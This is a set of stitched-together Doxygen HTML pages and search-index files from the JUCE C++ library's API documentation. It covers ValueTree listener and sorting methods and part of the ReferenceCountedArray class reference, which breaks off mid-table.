free-form data, and which can handle its own undo ...">ValueTree</a>, any listeners will begin listening to changes to the new tree instead of the old one.</p> <p>When you're adding a listener, make sure that you add it to a <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> instance that will last for as long as you need the listener. In general, you'd never want to add a listener to a local stack-based <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>, and would usually add one to a member variable.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classValueTree.html#ac8930aa94cb6e3714ef9e7449d08e5f6" title="Removes a listener that was previously added with addListener().">removeListener</a> </dd></dl> </div> </div> <a class="anchor" id="ac8930aa94cb6e3714ef9e7449d08e5f6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::removeListener </td> <td>(</td> <td class="paramtype"><a class="el" href="classValueTree_1_1Listener.html">Listener</a> *&#160;</td> <td class="paramname"><em>listener</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a listener that was previously added with <a class="el" href="classValueTree.html#a0a0d82471cb1119fc1a7b7018e3af394" title="Adds a listener to receive callbacks when this node is changed.">addListener()</a>. </p> </div> </div> <a class="anchor" id="a164ff183e358b982b1a1f5dd1176ab88"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void ValueTree::sendPropertyChangeMessage </td> <td>(</td> <td class="paramtype">const <a class="el" href="classIdentifier.html">Identifier</a> &amp;&#160;</td> <td class="paramname"><em>property</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Causes a property-change callback to be triggered for the specified property, calling any listeners that are registered. </p> </div> </div> <a class="anchor" id="acdace65667e5bb2036310b4a91dd3a87"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementComparator &gt; </div> <table class="memname"> <tr> <td class="memname">void ValueTree::sort </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classUndoManager.html">UndoManager</a> *&#160;</td> <td class="paramname"><em>undoManager</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>retainOrderOfEquivalentItems</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>This method uses a comparator object to sort the tree's children into order. </p> <p>The object provided must have a method of the form: </p> <div class="fragment"><div class="line"><span class="keywordtype">int</span> compareElements (<span class="keyword">const</span> <a class="code" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>&amp; first, <span class="keyword">const</span> <a class="code" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a>&amp; second);</div> </div><!-- fragment --><p>..and this method must return:</p> <ul> <li>a value of &lt; 0 if the first comes before the second</li> <li>a value of 0 if the two objects are equivalent</li> <li>a value of &gt; 0 if the second comes before the first</li> </ul> <p>To improve performance, the compareElements() method can be declared as static or const.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use for comparing elements. </td></tr> <tr><td class="paramname">undoManager</td><td>optional <a class="el" href="classUndoManager.html" title="Manages a list of undo/redo commands.">UndoManager</a> for storing the changes </td></tr> <tr><td class="paramname">retainOrderOfEquivalentItems</td><td>if this is true, then items which the comparator says are equivalent will be kept in the order in which they currently appear in the array. This is slower to perform, but may be important in some cases. If it's false, a faster algorithm is used, but equivalent elements may be rearranged. </td></tr> </table> </dd> </dl> <p>References <a class="el" href="classOwnedArray.html#a04a21a831320e2ce76bee8ad881e1d90">OwnedArray&lt; ObjectClass, TypeOfCriticalSectionToUse &gt;::sort()</a>.</p> </div> </div> <a class="anchor" id="ade7c3497b915a14168d347b20258122d"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int ValueTree::getReferenceCount </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the total number of references to the shared underlying data structure that this <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> is using. </p> </div> </div> <h2 class="groupheader">Member Data Documentation</h2> <a class="anchor" id="af49e8bf1c5072d0722dff9ef81b84f68"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classValueTree.html">ValueTree</a> ValueTree::invalid</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>An invalid <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> that can be used if you need to return one as an error condition, etc. </p> <p>This invalid object is equivalent to <a class="el" href="classValueTree.html" title="A powerful tree structure that can be used to hold free-form data, and which can handle its own undo ...">ValueTree</a> created with its default constructor. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__ValueTree_8h.html">juce_ValueTree.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['bailoutchecker',['BailOutChecker',['../classComponent_1_1BailOutChecker.html',1,'Component']]], ['base64',['Base64',['../structBase64.html',1,'']]], ['biginteger',['BigInteger',['../classBigInteger.html',1,'']]], ['bitmapdata',['BitmapData',['../classImage_1_1BitmapData.html',1,'Image']]], ['bitmapdatareleaser',['BitmapDataReleaser',['../classImage_1_1BitmapData_1_1BitmapDataReleaser.html',1,'Image::BitmapData']]], ['blowfish',['BlowFish',['../classBlowFish.html',1,'']]], ['bluetoothmididevicepairingdialogue',['BluetoothMidiDevicePairingDialogue',['../classBluetoothMidiDevicePairingDialogue.html',1,'']]], ['booleanpropertycomponent',['BooleanPropertyComponent',['../classBooleanPropertyComponent.html',1,'']]], ['bordersize',['BorderSize',['../classBorderSize.html',1,'']]], ['bordersize_3c_20int_20_3e',['BorderSize&lt; int &gt;',['../classBorderSize.html',1,'']]], ['box2drenderer',['Box2DRenderer',['../classBox2DRenderer.html',1,'']]], ['browserplugincomponent',['BrowserPluginComponent',['../classBrowserPluginComponent.html',1,'']]], ['bubblecomponent',['BubbleComponent',['../classBubbleComponent.html',1,'']]], ['bubblemessagecomponent',['BubbleMessageComponent',['../classBubbleMessageComponent.html',1,'']]], ['bufferedinputstream',['BufferedInputStream',['../classBufferedInputStream.html',1,'']]], ['bufferingaudioreader',['BufferingAudioReader',['../classBufferingAudioReader.html',1,'']]], ['bufferingaudiosource',['BufferingAudioSource',['../classBufferingAudioSource.html',1,'']]], ['builder',['Builder',['../classZipFile_1_1Builder.html',1,'ZipFile']]], ['burnprogresslistener',['BurnProgressListener',['../classAudioCDBurner_1_1BurnProgressListener.html',1,'AudioCDBurner']]], ['button',['Button',['../classButton.html',1,'']]], ['buttonattachment',['ButtonAttachment',['../classAudioProcessorValueTreeState_1_1ButtonAttachment.html',1,'AudioProcessorValueTreeState']]], ['buttonpropertycomponent',['ButtonPropertyComponent',['../classButtonPropertyComponent.html',1,'']]], ['byteorder',['ByteOrder',['../classByteOrder.html',1,'']]] ]; <file_sep>var searchData= [ ['zones',['Zones',['../classResizableBorderComponent_1_1Zone.html#ad6fba9e9d2be9a3c7e31f14ba8f6881e',1,'ResizableBorderComponent::Zone']]] ]; <file_sep>var searchData= [ ['parametercontrolhighlightinfo',['ParameterControlHighlightInfo',['../structAudioProcessorEditor_1_1ParameterControlHighlightInfo.html',1,'AudioProcessorEditor']]], ['parameters',['Parameters',['../structReverb_1_1Parameters.html',1,'Reverb']]], ['parametertype',['ParameterType',['../structTypeHelpers_1_1ParameterType.html',1,'TypeHelpers']]], ['path',['Path',['../classPath.html',1,'']]], ['pathflatteningiterator',['PathFlatteningIterator',['../classPathFlatteningIterator.html',1,'']]], ['pathstroketype',['PathStrokeType',['../classPathStrokeType.html',1,'']]], ['performancecounter',['PerformanceCounter',['../classPerformanceCounter.html',1,'']]], ['pixelalpha',['PixelAlpha',['../classPixelAlpha.html',1,'']]], ['pixelargb',['PixelARGB',['../classPixelARGB.html',1,'']]], ['pixelrgb',['PixelRGB',['../classPixelRGB.html',1,'']]], ['pluginbusutilities',['PluginBusUtilities',['../classPluginBusUtilities.html',1,'']]], ['plugindescription',['PluginDescription',['../classPluginDescription.html',1,'']]], ['plugindirectoryscanner',['PluginDirectoryScanner',['../classPluginDirectoryScanner.html',1,'']]], ['pluginhosttype',['PluginHostType',['../classPluginHostType.html',1,'']]], ['pluginlistcomponent',['PluginListComponent',['../classPluginListComponent.html',1,'']]], ['plugintree',['PluginTree',['../structKnownPluginList_1_1PluginTree.html',1,'KnownPluginList']]], ['pngimageformat',['PNGImageFormat',['../classPNGImageFormat.html',1,'']]], ['point',['Point',['../classPoint.html',1,'']]], ['point_3c_20float_20_3e',['Point&lt; float &gt;',['../classPoint.html',1,'']]], ['point_3c_20int_20_3e',['Point&lt; int &gt;',['../classPoint.html',1,'']]], ['pointer',['Pointer',['../classAudioData_1_1Pointer.html',1,'AudioData']]], ['popupmenu',['PopupMenu',['../classPopupMenu.html',1,'']]], ['position',['Position',['../classCodeDocument_1_1Position.html',1,'CodeDocument']]], ['positionableaudiosource',['PositionableAudioSource',['../classPositionableAudioSource.html',1,'']]], ['positionedglyph',['PositionedGlyph',['../classPositionedGlyph.html',1,'']]], ['positioner',['Positioner',['../classComponent_1_1Positioner.html',1,'Component']]], ['preferencespanel',['PreferencesPanel',['../classPreferencesPanel.html',1,'']]], ['primes',['Primes',['../classPrimes.html',1,'']]], ['process',['Process',['../classProcess.html',1,'']]], ['progressbar',['ProgressBar',['../classProgressBar.html',1,'']]], ['propertiesfile',['PropertiesFile',['../classPropertiesFile.html',1,'']]], ['propertycomponent',['PropertyComponent',['../classPropertyComponent.html',1,'']]], ['propertypanel',['PropertyPanel',['../classPropertyPanel.html',1,'']]], ['propertyset',['PropertySet',['../classPropertySet.html',1,'']]] ]; <file_sep>var searchData= [ ['genericaudioprocessoreditor',['GenericAudioProcessorEditor',['../classGenericAudioProcessorEditor.html',1,'']]], ['genericscopedlock',['GenericScopedLock',['../classGenericScopedLock.html',1,'']]], ['genericscopedtrylock',['GenericScopedTryLock',['../classGenericScopedTryLock.html',1,'']]], ['genericscopedunlock',['GenericScopedUnlock',['../classGenericScopedUnlock.html',1,'']]], ['gifimageformat',['GIFImageFormat',['../classGIFImageFormat.html',1,'']]], ['gloweffect',['GlowEffect',['../classGlowEffect.html',1,'']]], ['glyph',['Glyph',['../classTextLayout_1_1Glyph.html',1,'TextLayout']]], ['glypharrangement',['GlyphArrangement',['../classGlyphArrangement.html',1,'']]], ['graphics',['Graphics',['../classGraphics.html',1,'']]], ['groupcomponent',['GroupComponent',['../classGroupComponent.html',1,'']]], ['gzipcompressoroutputstream',['GZIPCompressorOutputStream',['../classGZIPCompressorOutputStream.html',1,'']]], ['gzipdecompressorinputstream',['GZIPDecompressorInputStream',['../classGZIPDecompressorInputStream.html',1,'']]] ]; <file_sep>var searchData= [ ['bus',['Bus',['../structVST3BufferExchange.html#a5aa67a699a8f31a5098536f335c43eb4',1,'VST3BufferExchange']]], ['busmap',['BusMap',['../structVST3BufferExchange.html#a0a22108464b6d7df26e58b473f3b567f',1,'VST3BufferExchange']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: ReferenceCountedArray&lt; ObjectClass, TypeOfCriticalSectionToUse &gt; Class Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-types">Public Types</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classReferenceCountedArray-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">ReferenceCountedArray&lt; ObjectClass, TypeOfCriticalSectionToUse &gt; Class Template Reference</div> </div> </div><!--header--> <div class="contents"> <p>Holds a list of objects derived from <a class="el" href="classReferenceCountedObject.html" title="A base class which provides methods for reference-counting.">ReferenceCountedObject</a>, or which implement basic reference-count handling methods. <a href="classReferenceCountedArray.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-types"></a> Public Types</h2></td></tr> <tr class="memitem:a5aeb8e0e9bc7f0cb0f19237edf286f64"><td class="memItemLeft" align="right" valign="top">typedef <br class="typebreak"/> <a class="el" href="classReferenceCountedObjectPtr.html">ReferenceCountedObjectPtr</a><br class="typebreak"/> &lt; ObjectClass &gt;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a></td></tr> <tr class="separator:a5aeb8e0e9bc7f0cb0f19237edf286f64"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7298683e2cae9520f1b34a4d6679053d"><td class="memItemLeft" align="right" valign="top">typedef <br class="typebreak"/> TypeOfCriticalSectionToUse::ScopedLockType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a7298683e2cae9520f1b34a4d6679053d">ScopedLockType</a></td></tr> <tr class="memdesc:a7298683e2cae9520f1b34a4d6679053d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the type of scoped lock to use for locking this array. <a href="#a7298683e2cae9520f1b34a4d6679053d"></a><br/></td></tr> <tr class="separator:a7298683e2cae9520f1b34a4d6679053d"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a3026e9cca0a8b1d63751f3fbb930bf17"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a3026e9cca0a8b1d63751f3fbb930bf17">ReferenceCountedArray</a> () noexcept</td></tr> <tr class="memdesc:a3026e9cca0a8b1d63751f3fbb930bf17"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty array. <a href="#a3026e9cca0a8b1d63751f3fbb930bf17"></a><br/></td></tr> <tr class="separator:a3026e9cca0a8b1d63751f3fbb930bf17"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ace310eb210683601fd6aac301795111c"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ace310eb210683601fd6aac301795111c">ReferenceCountedArray</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> &amp;other) noexcept</td></tr> <tr class="memdesc:ace310eb210683601fd6aac301795111c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a copy of another array. <a href="#ace310eb210683601fd6aac301795111c"></a><br/></td></tr> <tr class="separator:ace310eb210683601fd6aac301795111c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8966c5b4b7871123035f41fd4b7b530d"><td class="memTemplParams" colspan="2">template&lt;class OtherObjectClass , class OtherCriticalSection &gt; </td></tr> <tr class="memitem:a8966c5b4b7871123035f41fd4b7b530d"><td class="memTemplItemLeft" align="right" valign="top">&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a8966c5b4b7871123035f41fd4b7b530d">ReferenceCountedArray</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; OtherObjectClass, OtherCriticalSection &gt; &amp;other) noexcept</td></tr> <tr class="memdesc:a8966c5b4b7871123035f41fd4b7b530d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a copy of another array. <a href="#a8966c5b4b7871123035f41fd4b7b530d"></a><br/></td></tr> <tr class="separator:a8966c5b4b7871123035f41fd4b7b530d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab9fd36e38317591da957d13be587aeba"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ab9fd36e38317591da957d13be587aeba">operator=</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a> &amp;other) noexcept</td></tr> <tr class="memdesc:ab9fd36e38317591da957d13be587aeba"><td class="mdescLeft">&#160;</td><td class="mdescRight">Copies another array into this one. <a href="#ab9fd36e38317591da957d13be587aeba"></a><br/></td></tr> <tr class="separator:ab9fd36e38317591da957d13be587aeba"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af2ed6c93d85a8254447cd4289fef7caf"><td class="memTemplParams" colspan="2">template&lt;class OtherObjectClass &gt; </td></tr> <tr class="memitem:af2ed6c93d85a8254447cd4289fef7caf"><td class="memTemplItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a><br class="typebreak"/> &lt; ObjectClass, <br class="typebreak"/> <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#af2ed6c93d85a8254447cd4289fef7caf">operator=</a> (const <a class="el" href="classReferenceCountedArray.html">ReferenceCountedArray</a>&lt; OtherObjectClass, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;other) noexcept</td></tr> <tr class="memdesc:af2ed6c93d85a8254447cd4289fef7caf"><td class="mdescLeft">&#160;</td><td class="mdescRight">Copies another array into this one. <a href="#af2ed6c93d85a8254447cd4289fef7caf"></a><br/></td></tr> <tr class="separator:af2ed6c93d85a8254447cd4289fef7caf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a22c778cc2086117da5ac870485cb34e0"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a22c778cc2086117da5ac870485cb34e0">~ReferenceCountedArray</a> ()</td></tr> <tr class="memdesc:a22c778cc2086117da5ac870485cb34e0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a22c778cc2086117da5ac870485cb34e0"></a><br/></td></tr> <tr class="separator:a22c778cc2086117da5ac870485cb34e0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6dc6a1c3540a6f30456db545edb0486d"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a6dc6a1c3540a6f30456db545edb0486d">clear</a> ()</td></tr> <tr class="memdesc:a6dc6a1c3540a6f30456db545edb0486d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all objects from the array. <a href="#a6dc6a1c3540a6f30456db545edb0486d"></a><br/></td></tr> <tr class="separator:a6dc6a1c3540a6f30456db545edb0486d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad5a34e648c3dfc01493ca92838835bd1"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ad5a34e648c3dfc01493ca92838835bd1">clearQuick</a> ()</td></tr> <tr class="memdesc:ad5a34e648c3dfc01493ca92838835bd1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all objects from the array without freeing the array's allocated storage. <a href="#ad5a34e648c3dfc01493ca92838835bd1"></a><br/></td></tr> <tr class="separator:ad5a34e648c3dfc01493ca92838835bd1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad4865c477b65f161105ded613856de64"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ad4865c477b65f161105ded613856de64">size</a> () const noexcept</td></tr> <tr class="memdesc:ad4865c477b65f161105ded613856de64"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current number of objects in the array. <a href="#ad4865c477b65f161105ded613856de64"></a><br/></td></tr> <tr class="separator:ad4865c477b65f161105ded613856de64"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a28d5adcb50aff95ba86562c42718d39f"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a28d5adcb50aff95ba86562c42718d39f">operator[]</a> (const int index) const noexcept</td></tr> <tr class="memdesc:a28d5adcb50aff95ba86562c42718d39f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the object at this index in the array. <a href="#a28d5adcb50aff95ba86562c42718d39f"></a><br/></td></tr> <tr class="separator:a28d5adcb50aff95ba86562c42718d39f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2f89994333ed33a20efc36e216939c58"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a2f89994333ed33a20efc36e216939c58">getUnchecked</a> (const int index) const noexcept</td></tr> <tr class="memdesc:a2f89994333ed33a20efc36e216939c58"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the object at this index in the array, without checking whether the index is in-range. <a href="#a2f89994333ed33a20efc36e216939c58"></a><br/></td></tr> <tr class="separator:a2f89994333ed33a20efc36e216939c58"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac9c63ba3ddc186c6e9fb0c3c97d1eb57"><td class="memItemLeft" align="right" valign="top">ObjectClass *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ac9c63ba3ddc186c6e9fb0c3c97d1eb57">getObjectPointer</a> (const int index) const noexcept</td></tr> <tr class="memdesc:ac9c63ba3ddc186c6e9fb0c3c97d1eb57"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a raw pointer to the object at this index in the array. <a href="#ac9c63ba3ddc186c6e9fb0c3c97d1eb57"></a><br/></td></tr> <tr class="separator:ac9c63ba3ddc186c6e9fb0c3c97d1eb57"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8da693cf7dedfda5bb8a8e7331c4bf1f"><td class="memItemLeft" align="right" valign="top">ObjectClass *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a8da693cf7dedfda5bb8a8e7331c4bf1f">getObjectPointerUnchecked</a> (const int index) const noexcept</td></tr> <tr class="memdesc:a8da693cf7dedfda5bb8a8e7331c4bf1f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a raw pointer to the object at this index in the array, without checking whether the index is in-range. <a href="#a8da693cf7dedfda5bb8a8e7331c4bf1f"></a><br/></td></tr> <tr class="separator:a8da693cf7dedfda5bb8a8e7331c4bf1f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab352b571e4ee02eedad655bba6434725"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#ab352b571e4ee02eedad655bba6434725">getFirst</a> () const noexcept</td></tr> <tr class="memdesc:ab352b571e4ee02eedad655bba6434725"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the first object in the array. <a href="#ab352b571e4ee02eedad655bba6434725"></a><br/></td></tr> <tr class="separator:ab352b571e4ee02eedad655bba6434725"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a906fbb190a57a893faa951949b93418b"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classReferenceCountedArray.html#a5aeb8e0e9bc7f0cb0f19237edf286f64">ObjectClassPtr</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#a906fbb190a57a893faa951949b93418b">getLast</a> () const noexcept</td></tr> <tr class="memdesc:a906fbb190a57a893faa951949b93418b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the last object in the array. <a href="#a906fbb190a57a893faa951949b93418b"></a><br/></td></tr> <tr class="separator:a906fbb190a57a893faa951949b93418b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abad2570544706d399a2b0b65d1ea2f6f"><td class="memItemLeft" align="right" valign="top">ObjectClass **&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classReferenceCountedArray.html#abad2570544706d399a2b0b65d1ea2f6f">getRawDataPointer</a> () const noexcept</td></tr> <tr class="memdesc:abad2570544706d399a2b0b65d1ea2f6f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the actual array data. <a href="#abad2570544706d399a2b0b65d1ea2f6f"></a><br/></td></tr> <tr class="separator:abad2570544706d399a2b0b65d1ea2f6f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr 